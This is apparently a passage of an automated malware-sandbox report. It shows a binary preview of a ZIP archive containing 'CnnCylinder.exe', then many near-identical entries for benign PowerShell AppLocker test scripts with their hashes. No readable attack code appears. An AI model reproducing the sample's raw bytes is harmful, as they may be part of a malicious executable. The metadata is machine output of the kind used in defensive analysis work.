                                                                                                                                                                                                                                                                Preview:PK........6..Y...T 2...2......CnnCylinder.exe...XSY.0... B0QAQQP.bA.QD$.AT.h$....!"0.X...c.6..X.c....**..;......).[{..:....<.....]......k...ng|..F.....M#t.1."._..Chiu.%:..V..,.[]&*B..#".gG...........d.........'..........V.c..s.:..n...C...g..f$...C.........m0.<...Y.\..'..!o.!z.j..".f....RA....@(...BX....w6B..0D....'...d..HA\.... ..#......nN.|......<.............O...woE..!.~P......E................!...C....`h...K..~a..B.B.F...q...Y..i.......h72(4..>....L_(...@......WW.).....Tv.....M5^.B...#..+..BZ..<.|.Z.*..BH*.9].|y.x..d..,MP%....7L.:H..k.....j...&.g<'...d.T_Jw....fr.l...>B....".Vl...C...X_A....|..$.&.zP.$..H..b!....G.....O.m...i..\.@c0....#ZmF..).s.%X.F.&v.....9...E..........d.s.o0..).V...(@.$..'.&.tN..EN?TX.PS...b...C.o#-.!...L.].>..!c..+B......z......Md..U.2y.,...).r.<t.C...d..O..Ue.U..%..2....;...K.U.B......k..c........1u........u....nW...R.Kq*t.<..r.O=P. [.w..4E.......z4..d.4.-x:A...F.X.@..r.....gU.H...U.,..<K R..w1 x\t.....!ML=RUhb

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_002ga1ha.0mk.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0fkygpa1.v22.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0uwsoebk.dsh.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0yj2uotj.jab.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1jw1kuf0.zus.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1r5xkqyd.4ui.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2esnkltb.zma.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2uulapfy.niw.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_31nvrm4w.1ln.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4e1sauom.gu4.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4uqqadr2.b2u.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_543ybwiy.x1z.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5wmlsoj0.lq5.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b3z5p3nn.wqe.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bvb5gdom.uez.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bvrbkkp2.acn.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d4h2tyxp.er1.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dx4obcl4.iqt.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_exfwqxqf.vbp.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fchfhzgf.rbk.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fczsekcr.3au.ps1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gh4lfzcl.4g3.psm1

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
